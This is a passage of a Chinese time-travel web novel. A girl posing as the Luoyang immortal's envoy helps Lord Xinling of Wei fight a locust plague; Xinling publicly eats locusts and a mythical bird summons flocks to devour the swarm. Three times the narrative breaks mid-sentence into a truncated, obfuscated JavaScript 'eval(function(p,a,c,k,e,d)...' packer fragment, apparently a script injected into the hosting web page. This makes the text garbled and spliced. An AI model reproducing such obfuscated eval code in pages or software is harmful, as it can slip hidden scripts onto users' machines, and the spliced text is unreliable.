“没想到这鬼神居然是关心庶民之辈，传授的是治蝗农事。” 更没想到秦国治蝗方法居然如此周全详备，按理说魏国居于中原，依靠黄河，旱涝之间，蝗灾更为频繁。 所以他才一见如此闻所未闻的治蝗之策，便顾不得其他，甚至隐隐有些认同仙人降世之事。 车队过了洛水，不几日来到韩国。 经过战国连年征战，如今的韩国地块越发狭小，他们跟从的车队经过的城市大都是沿河而建，看起来没受多少影响。 走到城外，沿途所见干旱情况严重，仰赖河水以及农人的日夜浇灌，收获只是能勉强糊口。 还有广泛的虫害。 然后是魏国，魏国境内比经过的韩国之境好不了多少，大梁城内倒是甚是繁华。 到了大梁，陈佐终于吐露，“这些日子多有隐瞒小友，其实不才正是信陵君门下客卿，小友大才我已看在眼里，今日便为你引荐入门。” 两人乘车来到信陵君府门前，陈佐让门子去通报时却得到拒绝。“陈卿何时这样不识好歹了，什么秦国人还要往这领？难道又是想来诬蔑君侯，离间大王与公子？” “告诉他们，我们公子已经不理朝事了。秦国人不必再来！” 陈佐回身安抚道：“小友在此稍待片刻，我去禀报公子，公子一定会见你的。” 小满点头表示理解。 信陵君从窃符救赵名显于世，后率领五国破秦，为秦国忌惮。 秦王便在信陵君回魏国之后，使人离间魏王，说信陵君居赵十年，回来便解魏之危局，庶民只知信陵君而不知魏王。 又有秦国使者频频到信陵君门前，恭贺信陵君不久将成为大王。 如此三人成虎，信陵君被魏王夺了兵权，信陵君知道再次被毁弃，便称病不理政事，开始亲近美色每日饮乐。 过了许久，门内有仆人出来，引她进去。 陈佐见她进来，起身介绍，“公子，这就是我说的洛姜小友，洛阳姜姓，对最近秦国施行的治蝗之策颇有心得，其法更胜一筹。” 首座上的信陵君看起来约有四十年纪，养尊处优，身边坐着两个年轻姬妾，倒酒布菜。 他听见陈佐进言没有欣喜，也没有应答，只是举杯邀请道：“远来是客，若是不弃，可以坐下一起欢饮达旦，老夫这里不谈政事。” 说完看着小满在新布的位置坐下，请在坐诸位共饮一杯，气氛欢乐起来之后，继续凝神，听着前面乐人表演的丝竹管弦之声。 等到夜深，宾客散尽，信陵君看着留在最后的陈佐和小满，行了一礼，“我知有许多高人隐逸民间，也曾夷门市井交结游侠，只是今时不同往日，我也不愿再问国事，小友或是有真才实学，可以去其他地方另寻报效。” 小满摇摇头，“公子已经深居四载，您知道身边为什么还有这么多门客吗？当然是因为他们仰慕公子的才能啊。” “承蒙二三子不弃，陪着无忌虚耗光阴，让我后面的时日不至于孤单无伴，无忌还能有财帛报效一二，若是想施展抱负，就要另谋他处了。” 听了这话，陈佐生气的一顿足，拉上小满告退了。 回到落脚的地方，陈佐叹气道：“信陵君或许真的消磨了曾经的雄心壮志。” 第二日，陈佐又装束整齐，准备出门，小满看见问起，“你是准备去见信陵君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个有名望的公子，一个有实权的王上，就算他不顾魏王，强行做些什么，只会让魏国陷入分裂，这是他不想看到的。 不如喝酒听曲，得过且过，他本就是个到处交游，寄情玩乐的普通人，在赵国是这样，回到魏国，这样也没什么不可以。 小满叹了口气，“天下人都知道你魏公子的才华，不然秦国攻魏的时候，魏王也不会让使者请你回魏国，授予大将军职位了。” 在她看来，魏王就像一只猴子，想吃栗子，又担心火烧伤了手。 魏王对信陵君的忌惮不只是秦国的功劳，曾有赵王行猎于赵魏边境，魏国以为赵国来攻打，原本在博弈的王听了慌乱不已。信陵君却因为门客信息灵通，知道赵王在打猎而已，劝下哥哥。 事实证明了信陵君消息的正确，魏王却畏惧公子的贤能，不敢委任他国事。 信陵君第一次在魏安釐王跟前展现能力时，这个亲生的哥哥就已经有所忌惮。 后来信陵君窃符，虽然救下赵国，却与背叛魏国无异，信陵君在门客的点明下愧疚不已，自责辜负故国，推辞赵王封邑。 而魏王就因此归还了信陵君的封地。 或许魏王心中，这样的兄弟，离得远了才能让他安心。 他以为信陵君是那簇火，其实信陵君是火里面的栗子，被猜忌和痛苦包围着。 他的义和家国之念成就了他窃符救赵，回身救国的名望，却也让他只能呆在火里，让内心煎熬成和外表一样的灰碳。 “魏王既不敢委任公子国事，又不敢让公子离开。公子在的时候，秦国攻魏或许是打下一两座城池，一旦公子不在，魏国的陷落就像鲸吞鱼虾一样。” 信陵君沉默不语。 秦国的威胁只是蚕食，或许有一天魏国受不了土地的陷落，会是他出战的时候，只是不知道还能不能等得了那么久。 小满继续道：“公子可知前些日子洛阳曾有仙人出世？” “有所耳闻。” 22. 22尝尝味道？ “听说是上天震怒秦吞并周，断绝了周之宗庙，因此降下灾祸。仙人不忍看见，因此飞天而去。” 在任何时代，语言的传播速度都是十分可怕的，别讲故事在其他地方传成了什么样子。只能说一个地方有一个地方的风水。 小满点点头，顺便讲了下去，“仙人不忍看见生民无辜受罪，还传下了治蝗之策，就是洛阳秦国正在施行的。”十分顺利的将自己干的事安到仙人头上，没有半点不适。 “此事关乎民生，却不是国事。公子若担心魏王不悦，不如回到自己封地，组织庶民捕蝗，就算为自己的食禄尽一份力，也不会有人说什么。” “我……” 最后信陵君也没给什么答复，看着对方摆摆手，小满行个礼退下了。 其后几日早出晚归的陈佐看起来愈发沉重，每日宴饮的信陵君也开始闭门谢客。 直到六月中旬，这一天太阳还挂在半空中，陈佐早早的就回来了，脸上还带着伤。 小满有些惊讶，“陈公，怎么如此模样？” 陈佐摇头不语。 过了一会儿才愤愤道：“没想到那群虫豸，竟然煽动闾左，袭击我等。” 不能得到魏国王庭全力支持，以百人群体去救整个魏国的虫祸，本来就是杯水车薪。 何况想发动庶民时，时不时还有捣乱的。 小满安慰了几句。 回去不由思考起了对策，毕竟不能真的任由东来的蝗虫毁掉全部的努力吧？虽然东西中间隔着山脉，能阻隔一部分，但是也不是完全闭塞的。以历史记载的事实，蝗虫的规模肯定能把这边吃干净再飞到山那边去。 而且若是东方六国真的被蝗虫吃成赤地，承受饥饿的还是普通人。 “玄鸟的目的到底是什么？助攻秦王六国？”眼看这边陷入停滞，小满开始探听玄鸟的动向。“玄鸟最近有做什么吗？” 【没有什么发现。】 没有发现不代表人家没动作，小满想要系统提供一下，后世的治蝗方法，看能不能做一下弊。然后听到有兵卫登门。 “这边是陈卿住所吗？有没有一个叫洛姜的孺子？信陵君有请两位。” 陈佐兴奋的跑进来，站在门外叫道：“公子要见我们。” 小满推开窗，“现在？” 两人跟着兵卫来到信陵君府上，这次没有丝竹宾客，是少有的清冷景象。而且仔细看能发现细节存在一些破败的迹象，似乎久未修缮。 两人等没多久，却见信陵君穿着朝服，从外面大步进来，“我已经请求王上拨下人手治理蝗虫，请两位教我治蝗之术。” 往外望去，几百布衣丁壮跟着信陵君马车回来，正在门外停下列队。 人数比之前拨给陈佐的多了不少，其中还有几个上午跟他一起挨打的熟面孔，一时又是愧疚又是心酸。 等到坐下商量时，第一句话却是，“公子，此次灾祸非比寻常，治蝗须得像秦那样，倾全国之力，几百人的散兵游勇难成气候。” “召令难出。”信陵君无奈的挥手否决了跟魏王僵持，然后拱手正色道：“无忌愿以倾家之产，购得粮米换民众捕蝗。” 陈佐沉吟点头。 几天之后，信陵君门客带着财宝金帛，出发楚燕齐几国购来粟米。一部分门客带着现有的粮食和金铜钱，到各地宣扬信陵君从洛阳仙人的指示，愿出家私购买蝗虫，请大家一起灭蝗。同时将陈佐这些日子最新整理出来的策子发散下去，供以采用。 信陵君则带着陈佐小满及众壮士出了大梁，行到一个地方，小满看着一片青黄，“这麦是几月种的？怎么还未收获？” 现在已经是六月中下旬，按说麦子五月就开始收割了。陈佐看了一眼，道：“这些是春麦，该是二三月种的。” 小满按自己的理论，“不应该冬日种麦？五月收获？”这等到收获了还能种粟或菽吗？ “耕种发达的地方比如周王……洛邑，是一年两熟，其他地方多是两年三熟，或着偏远的地方也有一年一熟的。” 正因为处于丰熟期，麦子被蝗虫啃了损失巨大，当然如果是五六月种下，刚发芽的被蝗虫祸害了，苗子可能活都活不了，更不用说收成了。 后世进入工业社会后，人口密度大，追求一年多熟提高产量，一年两熟是最基本的。 不过也是依赖良种，化肥，水源的充足供应，以及机械耕种收割的便利。 不知道是宣传的洛阳仙人指示灭蝗，魔法打败魔法奏效，还是信陵君名人光环太过可怕，民间灭蝗以诡异的速度展开了。 甚至有不少大户，主动出钱出粮，雇佣贫苦或流民，严格按照魏公子的灭蝗策去执行。 为了效率，能拿来换钱换粮的蝗虫也被埋到土里焚烧。比秦国执行的还彻底。 毕竟秦国还有一个吏隶按人上交蝗虫的规定，偶尔有不忍心浪费的，从土里扒蝗虫出来。 当然魏国也不都是不缺钱粮的大户，消息发出没一天，就有不少贫苦人家到地里抓蝗虫，积攒的一斗拿来换粮食糊口。 离大梁不远的韩魏相交之境，好像也有贫苦人想要拿蝗虫换些粮食糊口。 没两天，收来的蝗虫已经堆满了县乡治下腾出来的两间屋子。信陵君看着陈佐指挥把一些蝗虫搬出去不知送到什么地方去了，开口问道：“洛姜小友，秦国收蝗虫是做什么用？” “蝗虫可以吃，不但……”话还没说完，就看见信陵君一直平淡的神色隐隐崩坏，露出一脸被震撼住的表情。“人可以吃，鸡鸭禽类也可以。” “公子？” 信陵君重复了一遍，“这个可以吃？” “当然，还没聚飞时绿色的可以水烹炙烤着吃。如果聚飞成灾了就是有毒的，鸡鸭都不愿意吃，所以蝗灾才为一大祸患啊。” 两人说着，忽然听见一片哗哗的声音，仿佛雨点敲打树叶窗棂，又像小满听过夏日风吹过杨树林的声音。 没过一会儿，天空飘过一片黄色的云翳，无边的蝗虫扑簌簌落下，仿佛要择人而噬。 原本就略显阴沉的天空，一时间更昏暗了几分。等蝗虫落下之后，信陵君带着几人快步走出院子，小满迈步跟出去，就看到田野中点起数个火把，“呼—喝——”着驱逐蝗虫。 蝗虫被哄赶着飞起飞落，不一会儿大部分离开了农田范围。一行人依旧盯着蝗虫动向。 没过多久一群本地人举着火把过了来，伍老走在前面，见到信陵君一行跪下道：“公子，蝗灾降临，这是上天发怒了啊，不能再捉蝗虫了。” “老人家怎么害怕蝗神，而不可惜禾苗呢？我们举起火把，保护禾苗一样是仙人的指示啊。”信陵君上前，想把老人家扶起来，却遭到拒绝。 一群人跪着呜呜咽咽的呼喊着，拉都拉不起来，场面无奈的僵持着，这边静止的画面加上火光吸引，让田野里零星的蝗虫冲飞过来。 信陵君捏着落到他身上的一只蝗虫，“是无忌执意要灭蝗虫，如果上天有什么惩罚，就降临在我头上吧。”说着将那只蝗虫往嘴里塞去。 ？这还有生吃的？小满一时震惊的不知作何反应。 身后的护卫也都冲上来阻止，“公子！” 信陵君面色如常咽下，一挥手，“来人，取柴来。” 一时没阻止到信陵君生吞蝗虫，一群人怒视着逼得信陵君生吞蝗虫的那伙乡人，把人隔开，剩下的犹豫了一下开始执行命令。 起码烤过比生吃好接受一点。 看着护卫忙碌起来，信陵君甚至铺了块木板坐下准备来个露天烧烤。小满凑上前，悄悄道：“公子，聚飞的有毒，吃多了可能会生病。” 信陵君看了她一眼，“我知道。别人吃得，我也吃得。”说这话时，看着换粮食的门口不远处，抱着蝗虫筐子的几个衣衫褴褛的男女老幼。 然后微微侧脸，低声道，“刚才吃太快了。再吃几个，以示决心。” 你这不是还是会害怕吗？ 这就是战国崇尚的行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个时代取火一般是金属火石火镰碰撞产生火花点燃绒柴，要么是人聚集的地方，留一个火把或者阴燃的火堆，用火时再用可燃物来引火…… 如果是火镰，没有火源的情况下，绝没有这么容易能引燃火把的。 再想想之前隐约听到的蝗虫能吃的言论，和……执意要吃蝗虫的公子，难道真的是被妖怪蛊惑了？ 周围的人也都心有疑惑。信陵君看着周围一时静了下来，护卫也都不敢靠近，“这位是仙人临世的洛阳来的神童，秉仙人旨意来帮吾等灭蝗。诸位不必疑虑。” 护卫长应了一声，“唯。” 小满看着信陵君举起干草，引燃柴火，开始烧烤蝗虫。其他人也看守的看守，警戒带警戒，找陈佐去给人换粮的找陈佐。 不一会儿，还有人上前引燃其他地方搁置的火把。 一个贵族，不为猎奇，跑到田间，学着乡野小儿烤虫子吃，还是被视为不祥的蝗虫，信陵君动作不能不吸引着在场所有人的注意力。 内心觉得蝗虫有毒的小满，则觉得那动作举轻若重，似乎在克服着一股无形阻力，很快就不忍再看。 下坠的夕阳，在天空燃起瑰丽的火烧云，没一会儿就弥漫了整个天空。 信陵君举着烤好的蝗虫，扬声道：“诸位，今日食蝗，非无忌狂悖逆天，两月前洛阳仙人降世，言有旱蝗灾祸，非是弃世，而是指点。无忌散尽家财，按仙人所说，举火灭蝗，上天若有不满，请降祸于无忌一身。” 伴随着那似乎很好吃的咔吱声，小满好像听到一声奇异的叫声。 原本被赶入山林啃食草木的蝗虫聚飞起来，向其他地方迁移，有人低声道：“蝗虫飞走了？” “上天有眼……”乡人欣喜若狂的跪下朝着蝗虫离开的方向磕头，还没狂热起来，另一个方向又飘来一片嗡嗡的黄色乌云。 “那是什么？” 是更大的一群蝗虫。 这次似乎是真正的蝗灾，一整片地方，被吃完了，带着本处田野蚂蚱，再次起飞的蝗虫。 23. 23放火与点灯 一片黄色乌云在夕阳下弥漫起来，低飞聚啸的蝗虫似乎要落下来，在还算绿色遍布的田野山林觅食，饱餐一顿。 在场人脸色都不由惊恐起来。被看守的乡人伍老更是忙不迭的跪下磕头，祈求上苍息怒。 护卫长担心乡民会在恐惧驱使下冲上来，把他们撕碎，想提醒信陵君暂避，“公子……” 小满觉得这蝗虫来的有点不太寻常，“系统，刚刚那个声音？” 系统肯定答复，【是玄鸟】 “这，还能救吗？”小满有点不敢看信陵君现在的脸色。好好的一个君子之风的代名词，不过想表一下决心，不会就这么被带累成狂妄自大的笑话吧？ 【可能可以。系统商城里有一个杀蝗药，以现在积分可以买两千克。】 小满欲哭无泪，她现在就五千积分，买完就不剩多少了，但是能把药水送上去的无人机，可要起码十万积分，“那也买不到直升机啊。” 光屏闪出两个字，【借风】 “好。”这事也算因她而起，必须得有个说法。 小满趁着众人不在意，离开这片地方朝风口处跑去，然后兑换出来药粉，与辅料混合。 小满感受着风向，看了看下风向的信陵君等人，“这个对人体无害吧？” 【无害】 然后又补充了一句，【有害的话你先带我归天，咱俩去跟玄鸟爆了】 小满做出姿势，举起双手，将药物举过头顶。平地而起的狂风几乎把人掀翻。 小满听到一道声音，【扔出去】 小满用尽全力，将手里的东西挥撒出去，灵性的风将药吹向蝗虫，没见药效如何，倒是能看到风吹的蝗虫东斜西歪，簌簌而落。 “好了。”小满刚松一口气，“这个药什么时候起效？”还没得到回答，就听见山中传来一声清晰的长鸣。然后是一片羽翼声。 “那是什么？” 小满极目而望，看到山林之外，不知从何处飞来大片的鸟雀，追逐着蝗虫。 夕阳落下，余晖未收，那些鸟雀仿佛披着斑斓羽色。小满一时看呆了。 系统给她圈出来鸟群中一个黑色的鸟，【是玄鸟】 小满眯着眼睛确认了一下，“哦，那药不毒鸟雀吧？”从之前的猫扑鸟事件可以看出，位面意识有实体时，也是受一定制约的。 她这个药要是把玄鸟撂翻了，那玩笑就大了。 【从计量上来说无毒】 刚得到一个可能的回答，小满反应过来，“不对，我们投影那么科学的事情，玄鸟都要叽叽歪歪来算账，凭什么它能玩驱使百鸟，这么不科学的手段？” 在天空盘旋的玄鸟，闻言分神传音过来，“自然是因为吾所为不过顺应自然。” 顺应自然？是指鸟雀食虫吗？ 系统某方面倒是有点理解，【玄奥之事本就是指常人无法理解的，比如蝗虫之灾，比如海市蜃楼，比如鸟雀群飞】 【鸟雀群飞虽然稀奇，但是凡人看不出驱使，即使有所感应，也只会往玄中去求，海市蜃楼也是一样】 【换句话说，鸟雀群飞海市蜃楼，是无指向的，信息密度较低，洛阳投影信息指向太过明显，会让接收到的人识别出，“天”是有意识有爱憎的】 小满视线投向山坡下的乡民，鸟雀群飞的出现太过适时，摧枯拉朽间已经消灭了大片蝗虫，原本痛哭摇摆的乡民，此时纷纷欣喜跪拜。 “白鸟食蝗，祥瑞啊！” “神仙显灵了，神仙显灵了！” 无意识的意向中一点或好或坏的倾向，已经足够让意志不坚定的人大起大落，如果有明显的指向，只怕会让事情崩坏到无可挽救的地步。 小满叹了口气，“我明白了。” 【你明白什么了？】 “凡人比较好骗，天道不太好骗。别整大动静的。”这个叫：只许州官放火，不许百姓点灯。 玄奇之事可以存在，但不能众目睽睽，有明显指向。要么避着点人，比如篝火狐鸣，鱼腹藏书，存在私下操作空间，传出来的都可以视为谣言；要么像日食，海市蜃楼，指向不太明显，剩下的就靠嘴炮解读了。 小满下山时，蝗虫食净，鸟雀迁飞。那一群向着鸟群离开方向跪拜的人，面向她行了个大礼。 小满吓了一跳，看着端坐的信陵君，微微朝她点头，“诸位刚才看到了，这位洛姜小友在山坡上一举手，平地起了大风吹乱蝗虫，一挥手，无数鸟雀飞来，食尽蝗虫。” “小友自洛阳而来，正是仙人派来帮我等灭蝗的仙童。” 她刚刚的动作难道很明显吗？小满回头看了一下她下来的山坡，好吧，位置是挺显眼。 反正都是灭蝗小组的，吃蝗虫这事已经坑了信陵君一回，迷信这事，要绑定上她就绑定吧，小满站在原地掌心向上抬手道：“你们起来吧。” “救护黎民乃仙人降世的本愿，公子发布的灭蝗之策，都是洛阳所出，仙人所设，还望各位不要心存吝惜，自力更生为要紧。” 出了白鸟食蝗事情之后，阻止灭蝗的迷信谣言似乎一下消融了，仙人帮助灭蝗的故事倒是越传花样越多，比如信陵君生吞蝗虫，比如仙童引来百鸟灭蝗，比如某地出了个大公鸡一日吃虫无数，某地田野都是蝗虫残翅。 七月末，在大部分庶民配合之下，各地成型未成形的蝗群都被消灭的七七八八。 那天吃了蝗虫，又在田间吹了半天的风，回去教陈佐得知信陵君亲自生吞烤制了几只，平等的骂了在座所有人一顿。 陈佐执意请太医给信陵君查看一下身体，被信陵君推脱拒绝了，然而没过几天，信陵君就病倒了。 看病的太医只说，信陵君长久彻夜饮乐，损伤了根本，需要将养。 虽然没说半句吃蝗虫的原因，小满总觉着跟自己脱不了关系，跟在陈佐等门客后面，硬着头皮慰问，“公子千万好生修养，莫再忧劳。”不然她的罪过就大了。 信陵君头上裹着布条，咳嗽几声，“果然是人老了，陈卿也别自责责人，我只是做了自己想做的事。” 外面的灭蝗事情一切进展顺利，小满不愿出去被相信仙童的好事人围观跪拜，便减少出门，偶尔到信陵君跟前查看灭蝗事宜的进度。 过了几天，看着卧病在床的信陵君，小满突然问道：“公子为何接手灭蝗之事？” 信陵君沉默了一瞬，“那日我午间做了一个梦，醒来几乎无力挣动，缓过几分回想近日之事，又觉得你所说有道理。事情在面前，能去做而不做，有负信陵君之名。” “史书上说，信陵君薨逝，便是今年的事。他已经停止了长夜饮酒，难道还会按着既定命运逝去？” 【人类命运有偶然也有必然，躲过一次偶然，也会走向下一次必然】 “好吧。”蝗虫解决，小满无意停留，跟随来往商队先到韩国，在韩国遇上到洛阳的商队，辗转回到洛阳。 秦国，吕不韦与秦王汇报蝗灾结束，秦国境内情况，“王上，秦国境内，关中几县有小股蝗虫，均已扑灭，关外有东方来的较大一股蝗虫，经了一场暴雨，也都打落了。” “本次蝗灾受灾严重的有九个县，所得蝗虫减免的租税还在筹算。连年干旱，所收不足，加上减免的抵去的，租税今年也收不上多少。官仓粟米所剩不多，军队赈灾所需的粮草，恐怕要另行筹备。” 这些都是之前下发召令时，做过预案的，秦王点头应允。 八月，小满回到洛阳，一路所见流民无数，虽然蝗灾勉强救下，但是旱蝗灾祸引起的饥荒还是如影随形。 粮食粮食，高产种子，肥料。 她明明拥有这些，却不能拿出来造福民众，只是因为她拥有的太少了而已。她现在名望不够，在民间推行这个太慢了，如果能站在更高的位置…… 到洛阳城邑，整体情况已经是比其他地方好了些，施粥赈济的地方虽然不多，但是除了施粥放米，还有的在此招工，灾民各求生计，一切井然有序。 吕府倒是一切如旧，吕蜴接手洛阳之后似乎事情多了许多。并不经常回来。小满等了一天，直到傍晚时分，才见到略显疲累的吕蜴。 吕蜴见到小满没有很大波动，坐到位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小满跳下车，看着扬专门等她的神态，有些惊讶，“扬怎么知道我今日回来？” 身后传来一个声音，“当然是我通风报信啊。”小满回头，看到郑造提着一篮菜叶，一副农人打扮。 “舅舅？” 郑造上前揉了揉小满的头发，“月儿，不要让身边的人担心啊。你不打声招呼跑这么远，你身边这位淑女都急得让我去找你了。” “正好我的朋友在魏国经商，后来又与你同一商队，将你的消息带给我，我便来报信了。” 怪不得回来路上也这么顺利，小满嘻嘻行了个礼，“多谢舅舅了。” 回到住的地方，小满看着郑造送来的大堆铁质农具，拿出县丞赔偿折算的金子，算了尾款。 晚间，郑造摘下的红薯叶子裹着面粉蒸出来，作为夕食。 “哇，”许久没吃过，小满有些惊喜，“你们也这样吃？” 看着小满奇异的眼神，扬解释道：“此时正是青黄不接，蝗虫又食了禾苗，今年收成恐怕还是不好，只有这些叶子又多又长的快，许多人家拿来与粟米一起煮着吃。” 第二天，扬等人早早起来，准备吃食。 小满看着一大堆的菜叶红薯粟米，“怎么准备这么多？” “那些红薯大都种在山坡沟壑，不太好采，需要多些佣耕，因此饭食多了些。” 小满跟着去看了看，红薯最深的居然种到了山林深处空下的地方，因为种的早，加上天气原因，一些已经成熟。 小满看到几个熟悉面孔，“所以说之前住在后院的妇人孺童都成了佣耕？” 扬点头，“对，还有他们的家人。如今大家不过求个糊口，这些收获之后，一部分我们拿走，一部分就归他们。后面还有收粟米，菽，跟其他地方一样，都是给粮食就行。” 小满点点头。 佣耕之人收获之后，连藤和叶也不肯浪费，晒成菜干，或是切成细丝以做糊口，起码要足够能度过这个秋天和冬天。